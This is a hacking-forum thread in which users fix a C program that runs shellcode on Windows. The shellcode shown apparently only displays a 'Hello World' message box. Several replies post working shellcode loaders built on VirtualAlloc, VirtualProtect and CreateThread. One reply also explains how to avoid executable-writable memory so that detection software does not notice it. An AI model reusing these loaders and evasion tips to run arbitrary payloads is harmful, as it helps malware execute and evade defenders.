

Forum:[Hack Forums](#)

Thread: [Executing shellcode](#)

ShallowME - September 13, 2020, 7:03 am

```
Code # include <stdlib.h>
```

```
# include <stdio.h>
```

```
# include <string.h>
```

```
# include <windows.h>
```

```
int
```

```
main(void)
```

```
{
    char *shellcode = "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b"
        "\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09"
        "\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d"
        "\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03"
        "\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81"
        "\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04"
        "\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03"
        "\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3"
        "\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68"
        "\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68"
        "\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9"
        "\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65"
        "\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01"
        "\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68"
        "\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68"
        "\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68"
        "\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57"
        "\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c"
        "\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78"
        "\x69\x74\x54\x53\xff\xd6\x57\xff\xd0";
```

```
int dwSz = strlen(shellcode);
```

```
char shell[dwSz] = {0};
```

```
for(int i=0; i< dwSz; i++)
```

```
    shell[i] = shellcode[i];
```

```
    DWORD why_must_this_variable;
```

```
    BOOL ret = VirtualProtect (shell, strlen(shellcode), PAGE_EXECUTE_READWRITE,
    &why_must_this_variable);
```

```
    if (!ret) {
```

```
        printf ("VirtualProtect\n");
```

```
        return EXIT_FAILURE;
```

```
    }
```

```
((void (*)(void))shell());
```

```
return EXIT_SUCCESS;  
}
```

Getting an access violation error.
What gives?

saltycracker - September 13, 2020, 9:21 am

This might point you in the right direction.. Advice right from GCC's C compiler.

Quote:error: variable-sized object may not be initialized
char shell[dwSz] = {0};
^~~~

Spoiler ([Click to View](#))

Code #define ARR_SIZE 200
char shell[ARR_SIZE] = {0}; //try hard coding the size here

Another copy and paste... <https://www.exploit-db.com/exploits/37758>

HFDone - September 13, 2020, 9:40 am

which os you using is it 32 \ 64 shellcode where you get the shellcode ...
probably its from your shell code try this shell code <https://www.exploit-db.com/exploits/28996>
and you better use virtualalloc over virtualprotect

ShallowME - September 13, 2020, 11:08 am

(Sep 13, 2020 09:40 AM)HFDone Wrote: [\[CITE\]](#) which os you using is it 32 \ 64 shellcode where you get the shellcode ...
probably its from your shell code try this shell code <https://www.exploit-db.com/exploits/28996>
and you better use virtualalloc over virtualprotect
x86 it is.

(Sep 13, 2020 09:21 AM)saltycracker Wrote: [\[CITE\]](#) This might point you in the right direction..
Advice right from GCC's C compiler.

Spoiler ([Click to View](#))

Code #define ARR_SIZE 200
char shell[ARR_SIZE] = {0}; //try hard coding the size here

Another copy and paste... <https://www.exploit-db.com/exploits/37758> I did hardcode the size to no avail.
Never said it was mine, to begin with.

gurlhackerclub - September 14, 2020, 1:24 pm

Just a shot in the dark. Could turning off DEP (Data Execution Prevention) help in your test? Or adding an exception in DEP?

I think most exploits get around this by using gadget chains. I don't know. All too complex for me.

ShallowME - September 15, 2020, 3:22 pm

(Sep 14, 2020 01:24 PM)gurlhackerclub Wrote: [\[CITE\]](#) Just a shot in the dark. Could turning off DEP (Data Execution Prevention) help in your test? Or adding an exception in DEP?

I think most exploits get around this by using gadget chains. I don't know. All too complex for me. You can give access to execute the shellcode using PAGE_EXECUTE flag and such to go around DEP.

Sparkling Jack - September 15, 2020, 6:47 pm

Use this code instead.

I've tested my code and it works well.

```
Code shell = VirtualAlloc(0, n_Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shell, shellcode, n_Size);
((void(*)())shell)();
```

hell-o-world - October 7, 2020, 5:50 am

(Sep 15, 2020 06:47 PM)Sparkling Jack Wrote: [\[CITE\]](#) Use this code instead.

I've tested my code and it works well.

```
Code shell = VirtualAlloc(0, n_Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shell, shellcode, n_Size);
((void(*)())shell)();
Thanks for sharing
```

Goodies - October 15, 2020, 12:49 pm

You should never have memory that is PAGE_EXECUTE_READWRITE. That is something any extremely simple detection software would be able to identify.

Instead, you should use VirtualAlloc to allocate the memory as PAGE_READWRITE. After you acquire the memory, you can use WriteProcessMemory or RtlCopyMemory depending on if the memory is remote or local. After that, you can use VirtualProtect to change the permissions to PAGE_EXECUTE_READ so that it is never executable and writable at the same time. This is typically referred to as "W^X" (Write xor Execute, one or the other, but not both).

Try this on for size. Just wrote it and works fine.

```
Code #define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <stdio.h>
```

```
char SHELLCODE[] = \
    "YOUR SHELLCODE GOES HERE";
```

```
int main(int argc, char** argv) {
    LPVOID pShellcode;
    DWORD dwProt;
    HANDLE hThread;
```

```
    if ((pShellcode = VirtualAlloc(NULL, sizeof(SHELLCODE), MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE)) == NULL) {
        perror("Could not allocate memory");
        return -1;
    }
```

```
    RtlCopyMemory(pShellcode, SHELLCODE, sizeof(SHELLCODE));
```

```
if (!VirtualProtect(pShellcode, sizeof(SHELLCODE), PAGE_EXECUTE_READ, &dwProt))
{
    perror("Could not change memory protection");
    return -1;
}

if ((hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0,
NULL)) == NULL) {
    perror("Could not create thread");
    return -1;
}

// If you want to wait for execution:
// WaitForSingleObject(hThread, INFINITE);
return 0;
}
```